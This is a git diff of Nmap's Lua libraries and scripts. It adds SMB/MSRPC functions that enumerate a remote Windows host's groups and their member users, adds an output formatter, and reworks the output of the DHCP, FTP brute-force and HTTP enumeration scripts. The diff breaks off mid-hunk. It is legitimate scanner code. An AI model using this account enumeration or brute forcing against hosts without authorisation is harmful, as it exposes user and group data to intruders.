diff --git a/nselib/msrpc.lua b/nselib/msrpc.lua
index 0e45d2fa5..9e699a5eb 100644
--- a/nselib/msrpc.lua
+++ b/nselib/msrpc.lua
@@ -1326,6 +1326,280 @@ function samr_querydomaininfo2(smbstate, domain_handle, level)
return true, result
end
+---Call the EnumDomainAliases function, which retrieves a list of groups for a given domain
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by samr_opendomain
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_enumdomainaliases(smbstate, domain_handle)
+ local i, j
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+-- [in] policy_handle *domain_handle,
+ arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
+
+-- [in,out,ref] uint32 *resume_handle,
+ arguments = arguments .. msrpctypes.marshall_int32_ptr(nil)
+
+-- [out,ref] samr_SamArray **sam,
+-- [in] uint32 max_size, (note: Wireshark says this is flags. Either way..)
+ arguments = arguments .. msrpctypes.marshall_int32(0x400)
+
+-- [out,ref] uint32 *num_entries
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0f, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+-- [in] policy_handle *domain_handle,
+-- [in,out,ref] uint32 *resume_handle,
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+-- [out,ref] samr_SamArray **sam,
+ pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
+
+-- [in] uint32 max_size,
+-- [out,ref] uint32 *num_entries
+ pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.enumdomainaliases)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.enumdomainaliases)"
+ end
+
+ return true, result
+end
+
+---Call the EnumDomainAliases function, which retrieves a list of groups for a given domain
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by samr_opendomain
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_lookupnames(smbstate, domain_handle, names)
+ local i, j
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+-- [in,ref] policy_handle *domain_handle,
+ arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
+
+-- [in,range(0,1000)] uint32 num_names,
+ arguments = arguments .. msrpctypes.marshall_int32(#names)
+
+-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
+ arguments = arguments .. msrpctypes.marshall_lsa_String_array2(names)
+
+-- [out,ref] samr_Ids *rids,
+-- [out,ref] samr_Ids *types
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x11, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+-- [in,ref] policy_handle *domain_handle,
+-- [in,range(0,1000)] uint32 num_names,
+-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
+-- [out,ref] samr_Ids *rids,
+ pos, result['rids'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
+
+-- [out,ref] samr_Ids *types
+ pos, result['types'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.lookupnames)"
+ end
+ if(result['return'] == smb.status_codes['NT_STATUS_NONE_MAPPED']) then
+ return false, "Couldn't find any names the host recognized"
+ end
+
+ if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then
+ return false, smb.get_status_name(result['return']) .. " (samr.lookupnames)"
+ end
+
+ return true, result
+end
+
+---Call the OpenAlias function, which gets a handle to a group.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by samr_opendomain
+--@param rid The RID of the alias
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_openalias(smbstate, domain_handle, rid)
+ local i, j
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+-- [in,ref] policy_handle *domain_handle,
+ arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
+
+-- [in] samr_AliasAccessMask access_mask,
+ arguments = arguments .. msrpctypes.marshall_int32(0x0002000c) -- Full read permission
+
+-- [in] uint32 rid,
+ arguments = arguments .. msrpctypes.marshall_int32(rid)
+
+-- [out,ref] policy_handle *alias_handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x1b, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+-- [in,ref] policy_handle *domain_handle,
+-- [in] samr_AliasAccessMask access_mask,
+-- [in] uint32 rid,
+-- [out,ref] policy_handle *alias_handle
+ pos, result['alias_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.openalias)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.openalias)"
+ end
+
+ return true, result
+end
+
+---Call the GetMembersInAlias function, which retrieves a list of users in
+-- a group.
+--
+--@param smbstate The SMB state table
+--@param alias_handle The alias_handle, returned by samr_openalias
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_getmembersinalias(smbstate, alias_handle)
+ local i, j
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+-- [in,ref] policy_handle *alias_handle,
+ arguments = arguments .. msrpctypes.marshall_policy_handle(alias_handle)
+-- [out,ref] lsa_SidArray *sids
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x21, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+-- [in,ref] policy_handle *alias_handle,
+-- [out,ref] lsa_SidArray *sids
+ pos, result['sids'] = msrpctypes.unmarshall_lsa_SidArray(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.getmembersinalias)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
+ end
+
+ return true, result
+end
+
+---Call the LookupRids function, which converts a list of RIDs to
+-- names.
+--
+--NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted).
+--if you ever feel like you need this function, check out lsa_lookupsids2.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by samr_opendomain
+--@param rids An array of RIDs to look up
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+--function samr_lookuprids(smbstate, domain_handle, rids)
+-- local i, j
+-- local status, result
+-- local arguments
+-- local pos, align
+--
+-- arguments = ''
+--
+---- [in,ref] policy_handle *domain_handle,
+-- arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
+---- [in,range(0,1000)] uint32 num_rids,
+-- arguments = arguments .. msrpctypes.marshall_int32(#rids)
+---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
+-- arguments = arguments .. msrpctypes.marshall_int32_array(rids)
+---- [out,ref] lsa_Strings *names,
+---- [out,ref] samr_Ids *types
+--
+--
+-- -- Do the call
+-- status, result = call_function(smbstate, 0x12, arguments)
+-- if(status ~= true) then
+-- return false, result
+-- end
+--
+-- -- Make arguments easier to use
+-- arguments = result['arguments']
+-- pos = 1
+--
+---- [in,ref] policy_handle *domain_handle,
+---- [in,range(0,1000)] uint32 num_rids,
+---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
+---- [out,ref] lsa_Strings *names,
+---- [out,ref] samr_Ids *types
+--
+--
+-- pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+--stdnse.print_debug("Return = %08x\n", result['return'])
+-- if(result['return'] == nil) then
+-- return false, "Read off the end of the packet (samr.getmembersinalias)"
+-- end
+-- if(result['return'] ~= 0) then
+-- return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
+-- end
+--
+-- return true, result
+--end
+
+
+
---Call the close function, which closes a handle of any type (for example, domain_handle or connect_handle)
--@param smbstate The SMB state table
--@param handle The handle to close
@@ -2807,8 +3081,6 @@ end
function samr_enum_users(host)
local i, j
- stdnse.print_debug(3, "Entering enum_samr()")
-
local smbstate
local bind_result, connect4_result, enumdomains_result
local connect_handle
@@ -2929,11 +3201,199 @@ function samr_enum_users(host)
-- Stop the SAMR SMB
stop_smb(smbstate)
- stdnse.print_debug(3, "Leaving enum_samr()")
-
return true, response
end
+function samr_enum_groups(host)
+ local i, j
+
+ stdnse.print_debug(1, "MSRPC: Attempting to enumerate groups on %s", host.ip)
+ -- Create the SMB session
+ local status, smbstate = start_smb(host, SAMR_PATH, true)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SAMR service
+ local status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call connect4()
+ local status, connect4_result = samr_connect4(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, connect4_result
+ end
+
+ -- Save the connect_handle
+ local connect_handle = connect4_result['connect_handle']
+
+ -- Call EnumDomains()
+ local status, enumdomains_result = samr_enumdomains(smbstate, connect_handle)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, enumdomains_result
+ end
+
+ -- If no domains were returned, go back with an error
+ if(#enumdomains_result['sam']['entries'] == 0) then
+ stop_smb(smbstate)
+ return false, "Couldn't find any domains"
+ end
+
+ -- Now, loop through the domains and find the groups
+ local domains = {}
+ for _, domain in ipairs(enumdomains_result['sam']['entries']) do
+ -- Get a handy domain name
+ domain = domain['name']
+ domains[domain] = {}
+
+ -- Call LookupDomain()
+ local status, lookupdomain_result = samr_lookupdomain(smbstate, connect_handle, domain)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, lookupdomain_result
+ end
+
+ -- Save the sid
+ local domain_sid = lookupdomain_result['sid']
+
+ -- Call OpenDomain()
+ local status, opendomain_result = samr_opendomain(smbstate, connect_handle, domain_sid)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, opendomain_result
+ end
+
+ -- Save the domain handle
+ local domain_handle = opendomain_result['domain_handle']
+
+ -- Get a list of groups
+ local status, enumaliases_result = samr_enumdomainaliases(smbstate, domain_handle)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, "Couldn't enumerate groups: " .. enumaliases_result
+ end
+
+ -- Print some output
+ stdnse.print_debug(1, "MSRPC: Found %d groups in %s", #enumaliases_result['sam']['entries'], domain)
+
+ -- Record the results
+ local group_rids = {}
+ for _, group in ipairs(enumaliases_result['sam']['entries']) do
+ -- The RID
+ local group_rid = group['idx']
+
+ -- Keep a list of just RIDs, for easier lookup after
+ table.insert(group_rids, group_rid)
+
+ -- Save the output, this is what will be returned
+ domains[domain][group_rid] = {}
+ domains[domain][group_rid]['name'] = group['name']
+ end -- Loop over group entries
+
+ for _, group_rid in ipairs(group_rids) do
+ -- Get a handle to the alias
+ local status, openalias_result = samr_openalias(smbstate, domain_handle, group_rid)
+ if(not(status)) then
+ stop_smb(smbstate)
+ return false, "Couldn't open handle to group: " .. openalias_result
+ end
+ local group_handle = openalias_result['alias_handle']
+
+ -- Get the members of the group
+ local status, getmembers_result = samr_getmembersinalias(smbstate, group_handle)
+ if(not(status)) then
+ stop_smb(smbstate)
+ return false, "Couldn't get members in group: " .. getmembers_result
+ end
+
+ -- Save the SIDs
+ local member_sids = {}
+ if(getmembers_result and getmembers_result.sids and getmembers_result.sids.sids) then
+ -- Set the list of member_sids
+ member_sids = getmembers_result.sids.sids
+ end
+
+ -- Print some output
+ stdnse.print_debug(1, "MSRPC: Adding group '%s' (RID: %d) with %d members", domains[domain][group_rid]['name'], group_rid, #member_sids)
+
+ -- Save the output
+ domains[domain][group_rid]['member_sids'] = member_sids
+
+ -- Close the group
+ samr_close(smbstate, group_handle)
+ end -- Loop over group RIDs
+
+ -- Close the domain handle
+ samr_close(smbstate, domain_handle)
+
+ end -- Domain loop
+
+ -- Close the connect handle
+ samr_close(smbstate, connect_handle)
+
+ -- Stop the SAMR SMB
+ stop_smb(smbstate)
+
+
+ -- Now, we need a handle to LSA (in order to convert the RIDs to users
+ -- Create the SMB session
+ local status, smbstate = start_smb(host, LSA_PATH, true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to LSA service
+ local status, bind_result = bind(smbstate, LSA_UUID, LSA_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the LSA policy
+ local status, openpolicy2_result = lsa_openpolicy2(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, openpolicy2_result
+ end
+
+ -- Loop through the domains
+ for domain, domain_data in pairs(domains) do
+ for group_rid, group in pairs(domain_data) do
+ -- Look up the SIDs
+ local status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], group['member_sids'])
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, "Error looking up RIDs: " .. lookupsids2_result
+ end
+
+ if(lookupsids2_result and lookupsids2_result.names and lookupsids2_result.names.names and (#lookupsids2_result.names.names > 0)) then
+ local members = {}
+ for _, resolved_name in ipairs(lookupsids2_result.names.names) do
+ if(resolved_name.sid_type == "SID_NAME_USER") then
+ table.insert(members, resolved_name.name)
+ end
+ end
+ domains[domain][group_rid]['members'] = members
+ else
+ domains[domain][group_rid]['members'] = {}
+ end
+ end
+ end
+
+ -- Close the handle
+ lsa_close(smbstate, openpolicy2_result['policy_handle'])
+
+ stop_smb(smbstate)
+
+ return true, domains
+end
+
---Attempt to enumerate users using LSA functions.
--
--@param host The host object.
@@ -2950,8 +3410,6 @@ function lsa_enum_users(host)
local response = {}
local status, smbstate, bind_result, openpolicy2_result, lookupnames2_result, lookupsids2_result
- stdnse.print_debug(3, "Entering enum_lsa()")
-
-- Create the SMB session
status, smbstate = start_smb(host, LSA_PATH, true)
if(status == false) then
@@ -3019,7 +3477,7 @@ function lsa_enum_users(host)
-- Put the details for each name into an array
-- NOTE: Be sure to mirror any changes here in the next bit!
for j = 1, #lookupsids2_result['names']['names'], 1 do
- if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then
+ if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {}
result['name'] = lookupsids2_result['names']['names'][j]['name']
result['rid'] = 500 + j - 1
@@ -3061,7 +3519,7 @@ function lsa_enum_users(host)
-- Check if the username matches the rid (one server we discovered returned every user as valid,
-- this is to prevent that infinite loop)
if(tonumber(name) ~= rid) then
- if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then
+ if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {}
result['name'] = name
result['rid'] = rid
@@ -3096,8 +3554,6 @@ function lsa_enum_users(host)
stop_smb(smbstate)
- stdnse.print_debug(3, "Leaving enum_lsa()")
-
return true, response
end
diff --git a/nselib/msrpctypes.lua b/nselib/msrpctypes.lua
index d164b11b3..536ee636c 100644
--- a/nselib/msrpctypes.lua
+++ b/nselib/msrpctypes.lua
@@ -744,6 +744,24 @@ function marshall_int32(int32)
return result
end
+---Marshall an array of int32 values.
+--
+--@param data The array
+--@return A string representing the marshalled data
+function marshall_int32_array(data)
+ local result = ""
+
+ result = result .. marshall_int32(0x0400) -- Max count
+ result = result .. marshall_int32(0) -- Offset
+ result = result .. marshall_int32(#data) -- Actual count
+
+ for _, v in ipairs(data) do
+ result = result .. marshall_int32(v)
+ end
+
+ return result
+end
+
--- Marshall an int16, which has the following format:
-- [in] uint16 var
--
@@ -816,12 +834,10 @@ end
function unmarshall_int32(data, pos)
local value
- stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int32()"))
pos, value = bin.unpack("data, and a table representing the datatype.
function unmarshall_dom_sid2(data, pos)
local i
- stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2()"))
-- Read the SID from the packet
local sid = {}
@@ -1488,7 +1535,6 @@ function unmarshall_dom_sid2(data, pos)
result = result .. string.format("-%u", sid['sub_auths'][i])
end
- stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2()"))
return pos, result
end
@@ -1499,13 +1545,7 @@ end
--@param pos The position within data.
--@return (pos, result) The new position in data, and a table representing the datatype.
function unmarshall_dom_sid2_ptr(data, pos)
- local result
- stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2_ptr()"))
-
- pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
-
- stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2_ptr()"))
- return pos, result
+ return unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
end
---Marshall a struct with the following definition:
@@ -1601,8 +1641,9 @@ end
--@param str The string to marshall
--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
-- Defaults to the length of the string, including the null.
+--@param do_null [optional] Appends a null to the end of the string. Default false.
--@return A string representing the marshalled data.
-local function marshall_lsa_String_internal(location, str, max_length)
+local function marshall_lsa_String_internal(location, str, max_length, do_null)
local length
local result = ""
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_String_internal()"))
@@ -1622,12 +1663,16 @@ local function marshall_lsa_String_internal(location, str, max_length)
length = string.len(str)
end
+ if(do_null == nil) then
+ do_null = false
+ end
+
if(location == HEAD or location == ALL) then
- result = result .. bin.pack("marshall_lsa_String_array, except it has a different structure
+--
+--@param strings The array of strings to marshall
+function marshall_lsa_String_array2(strings)
+ local array = {}
+ local result
+
+ for i = 1, #strings, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_String_internal
+ array[i]['args'] = {strings[i], nil, nil, false}
+ end
+
+ result = marshall_int32(1000) -- Max length
+ result = result .. marshall_int32(0) -- Offset
+ result = result .. marshall_array(array)
+
+--require 'nsedebug'
+--nsedebug.print_hex(result)
+--os.exit()
+ return result
+end
+
---Table of SID types.
local lsa_SidType =
{
@@ -1913,7 +1981,6 @@ end
-- anything.
--@return (pos, result) The new position in data, and a table representing the datatype.
local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
- stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_TranslatedSid2()"))
if(result == nil) then
result = {}
end
@@ -1929,7 +1996,6 @@ local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
if(location == BODY or location == ALL) then
end
- stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_lsa_TranslatedSid2()"))
return pos, result
end
@@ -2289,7 +2355,6 @@ end
function marshall_lsa_SidArray(sids)
local result = ""
local array = {}
- stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_SidArray()"))
result = result .. marshall_int32(#sids)
@@ -2301,10 +2366,47 @@ function marshall_lsa_SidArray(sids)
result = result .. marshall_ptr(ALL, marshall_array, {array}, array)
- stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_SidArray()"))
return result
end
+---Unmarshall a struct with the following definition:
+-- typedef struct {
+-- dom_sid2 *sid;
+-- } lsa_SidPtr;
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in data, and a table representing the datatype.
+function unmarshall_lsa_SidPtr(location, data, pos, result)
+ return unmarshall_ptr(location, data, pos, unmarshall_dom_sid2, {}, result)
+end
+
+---Unmarshall a struct with the following definition:
+--
+-- typedef [public] struct {
+-- [range(0,1000)] uint32 num_sids;
+-- [size_is(num_sids)] lsa_SidPtr *sids;
+-- } lsa_SidArray;
+--
+--@param data The data being processed.
+--@param pos The position within data.
+--@return (pos, result) The new position in data, and a table representing the datatype.
+function unmarshall_lsa_SidArray(data, pos)
+ local sidarray = {}
+
+ pos, sidarray['count'] = unmarshall_int32(data, pos)
+ pos, sidarray['sids'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {sidarray['count'], unmarshall_lsa_SidPtr, {}})
+
+ return pos, sidarray
+end
---Marshall a struct with the following definition:
--
@@ -4140,6 +4242,26 @@ function unmarshall_samr_DomainInfo_ptr(data, pos)
return pos, result
end
+---Unmarshall a structure with the following definition:
+--
+--
+-- typedef struct {
+-- [range(0,1024)] uint32 count;
+-- [size_is(count)] uint32 *ids;
+-- } samr_Ids;
+--
+--
+--@param data The data being processed.
+--@param pos The position within data.
+--@return (pos, result) The new position in data, and a table representing the datatype. May return
+-- nil if there was an error.
+function unmarshall_samr_Ids(data, pos)
+ local array
+
+ pos, array = unmarshall_int32_array_ptr(data, pos)
+
+ return pos, array
+end
----------------------------------
-- SVCCTL
@@ -4490,9 +4612,7 @@ function marshall_atsvc_JobInfo(command, time)
result = result .. marshall_int32(time) -- Job time
result = result .. marshall_int32(0) -- Day of month
result = result .. marshall_int8(0, false) -- Day of week
---io.write("Length = " .. #result .. "\n")
result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
---io.write("Length = " .. #result .. "\n")
result = result .. marshall_int16(0, false) -- Padding
result = result .. marshall_unicode_ptr(command, true) -- Command
diff --git a/nselib/stdnse.lua b/nselib/stdnse.lua
index af19348e2..5539140c0 100644
--- a/nselib/stdnse.lua
+++ b/nselib/stdnse.lua
@@ -7,13 +7,16 @@
local assert = assert;
local error = error;
local pairs = pairs
+local ipairs = ipairs
local tonumber = tonumber;
local type = type
local ceil = math.ceil
local max = math.max
local format = string.format;
+local rep = string.rep
local concat = table.concat;
+local insert = table.insert;
local nmap = require "nmap";
@@ -259,6 +262,148 @@ function string_or_blank(string, blank)
end
end
+---Get the indentation symbols at a given level.
+local function format_get_indent(indent, at_end)
+ local str = ""
+ local had_continue = false
+
+ if(not(at_end)) then
+ str = rep('| ', #indent)
+ else
+ for i = #indent, 1, -1 do
+ if(indent[i] and not(had_continue)) then
+ str = str .. "|_ "
+ else
+ had_continue = true
+ str = str .. "| "
+ end
+ end
+ end
+
+ return str
+end
+
+---Takes a table of output on the commandline and formats it for display to the
+-- user. This is basically done by converting an array of nested tables into a
+-- string. In addition to numbered array elements, each table can have a 'name'
+-- and a 'warning' value. The 'name' will be displayed above the table, and
+-- 'warning' will be displayed, with a 'WARNING' tag, if and only if debugging
+-- is enabled.
+--
+-- Here's an example of a table:
+--
+-- local domains = {}
+-- domains['name'] = "DOMAINS"
+-- table.insert(domains, 'Domain 1')
+-- table.insert(domains, 'Domain 2')
+--
+-- local names = {}
+-- names['name'] = "NAMES"
+-- names['warning'] = "Not all names could be determined!"
+-- table.insert(names, "Name 1")
+--
+-- local response = {}
+-- table.insert(response, "Apple pie")
+-- table.insert(response, domains)
+-- table.insert(response, names)
+--
+-- return stdnse.format_output(true, response)
+--
+--
+-- With debugging enabled, this is the output:
+--
+-- Host script results:
+-- | smb-enum-domains:
+-- | | Apple pie
+-- | | DOMAINS
+-- | | | Domain 1
+-- | | |_ Domain 2
+-- | | NAMES (WARNING: Not all names could be determined!)
+-- |_ |_ |_ Name 1
+--
+--
+--@param status A boolean value dictating whether or not the script succeeded.
+-- If status is false, and debugging is enabled, 'ERROR' is prepended
+-- to every line. If status is false and ebugging is disabled, no output
+-- occurs.
+--@param data The table of output.
+--@param indent Used for indentation on recursive calls; should generally be set to
+-- nil when callling from a script.
+function format_output(status, data, indent)
+ -- Don't bother if we don't have any data
+ if(#data == 0) then
+ return ""
+ end
+
+ -- Return a single line of output as-is
+ if(#data == 1 and not(data['name']) and not(data['warning'])) then
+ return data[1]
+ end
+
+ -- If data is nil, die with an error (I keep doing that by accident)
+ assert(data, "No data was passed to format_output()")
+
+ -- Used to put 'ERROR: ' in front of all lines on error messages
+ local prefix = ""
+ -- Initialize the output string to blank (or, if we're at the top, add a newline)
+ local output = ""
+ if(not(indent)) then
+ output = ' \n'
+ end
+
+ if(not(status)) then
+ if(nmap.debugging() < 1) then
+ return nil
+ end
+ prefix = "ERROR: "
+ end
+
+ -- If a string was passed, turn it into a table
+ if(type(data) == 'string') then
+ data = {data}
+ end
+
+ -- Make sure we have an indent value
+ indent = indent or {}
+
+ for i, value in ipairs(data) do
+ if(type(value) == 'table') then
+ if(value['name']) then
+ if(value['warning'] and nmap.debugging() > 0) then
+ output = output .. format("%s| %s%s (WARNING: %s)\n", format_get_indent(indent), prefix, value['name'], value['warning'])
+ else
+ output = output .. format("%s| %s%s\n", format_get_indent(indent), prefix, value['name'])
+ end
+ elseif(value['warning'] and nmap.debugging() > 0) then
+ output = output .. format("%s| %s(WARNING: %s)\n", format_get_indent(indent), prefix, value['warning'])
+ end
+
+ -- Do a shallow copy of indent
+ local new_indent = {}
+ for _, v in ipairs(indent) do
+ insert(new_indent, v)
+ end
+
+ if(i ~= #data) then
+ insert(new_indent, false)
+ else
+ insert(new_indent, true)
+ end
+
+ output = output .. format_output(status, value, new_indent)
+
+ elseif(type(value) == 'string') then
+ if(i ~= #data) then
+ output = output .. format("%s| %s%s\n", format_get_indent(indent, false), prefix, value)
+ else
+ output = output .. format("%s|_ %s%s\n", format_get_indent(indent, true), prefix, value)
+ end
+ end
+ end
+
+ return output
+end
+
--- This function allows you to create worker threads that may perform
-- network tasks in parallel with your script thread.
--
diff --git a/scripts/dhcp-discover.nse b/scripts/dhcp-discover.nse
index bec4eb827..459c9712b 100644
--- a/scripts/dhcp-discover.nse
+++ b/scripts/dhcp-discover.nse
@@ -35,14 +35,14 @@ and dhcp_parse, with their related functions, can easily be abstrac
-- Interesting ports on 192.168.1.1:
-- PORT STATE SERVICE
-- 67/udp open dhcps
--- | dhcp-discover:
--- | IP Offered: 192.168.1.100
--- | DHCP Message Type: DHCPOFFER
--- | Server Identifier: 192.168.1.1
--- | IP Address Lease Time: 1 day, 0:00:00
--- | Subnet Mask: 255.255.255.0
--- | Router: 192.168.1.1
--- |_ Domain Name Server: 208.81.7.10, 208.81.7.14
+-- | dhcp-discover:
+-- | | IP Offered: 192.168.1.101
+-- | | DHCP Message Type: DHCPOFFER
+-- | | Server Identifier: 192.168.1.1
+-- | | IP Address Lease Time: 1 day, 0:00:00
+-- | | Subnet Mask: 255.255.255.0
+-- | | Router: 192.168.1.1
+-- |_ |_ Domain Name Server: 208.81.7.10, 208.81.7.14
--
--
--@args dhcptype The type of DHCP request to make. By default, DHCPDISCOVER is sent, but this argument
@@ -710,11 +710,7 @@ action = function(host, port)
local status, results = go(host, port)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. results
- else
- return nil
- end
+ return stdnse.format_output(false, results)
end
if(results == nil) then
@@ -724,25 +720,25 @@ action = function(host, port)
-- Set the port state to open
nmap.set_port_state(host, port, "open")
- local response = " \n"
+ local response = {}
-- Display the results
for i, result in ipairs(results) do
if(#results ~= 1) then
- response = response .. string.format("Result %d\n", i)
+ table.insert(response, string.format("Result %d", i))
end
-
- response = response .. string.format(" IP Offered: %s\n", result.yiaddr_str)
+
+ table.insert(response, string.format("IP Offered: %s", result.yiaddr_str))
for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then
- response = response .. string.format(" %s: %s\n", v['name'], stdnse.strjoin(", ", v['value']))
+ table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
- response = response .. string.format(" %s: %s\n", v['name'], v['value'])
+ table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end
end
end
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/ftp-brute.nse b/scripts/ftp-brute.nse
index a8331c515..3a25f2e31 100644
--- a/scripts/ftp-brute.nse
+++ b/scripts/ftp-brute.nse
@@ -17,8 +17,8 @@ Made into an actual bruteforce script (previously, it only tried one username/pa
-- PORT STATE SERVICE REASON
-- 21/tcp open ftp syn-ack
-- | ftp-brute:
--- | anonymous: IEUser@
--- |_ test: password
+-- | | anonymous: IEUser@
+-- |_ |_ test: password
--
-- @args userlimit The number of user accounts to try (default: unlimited).
-- @args passlimit The number of passwords to try (default: unlimited).
@@ -186,25 +186,21 @@ local function go(host, port)
end
action = function(host, port)
+ local response = {}
local status, results = go(host, port)
if(not(status)) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. results
- else
- return nil
- end
+ return stdnse.format_output(false, results)
end
if(#results == 0) then
- return "No accounts found"
+ return stdnse.format_output(false, "No accounts found")
end
- local response = " \n"
for i, v in ipairs(results) do
- response = response .. string.format("%s: %s\n", v.user, v.password)
+ table.insert(response, string.format("%s: %s\n", v.user, v.password))
end
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/http-enum.nse b/scripts/http-enum.nse
index c70848074..bcb2ce4fb 100644
--- a/scripts/http-enum.nse
+++ b/scripts/http-enum.nse
@@ -26,9 +26,14 @@ for 404 Not Found and the status code returned by the random files).
-- Interesting ports on test.skullsecurity.org (208.81.2.52):
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
--- | http-enum:
--- | /icons/ Icons and images
--- |_ /x_logo.gif Xerox Phaser Printer
+-- | http-enum:
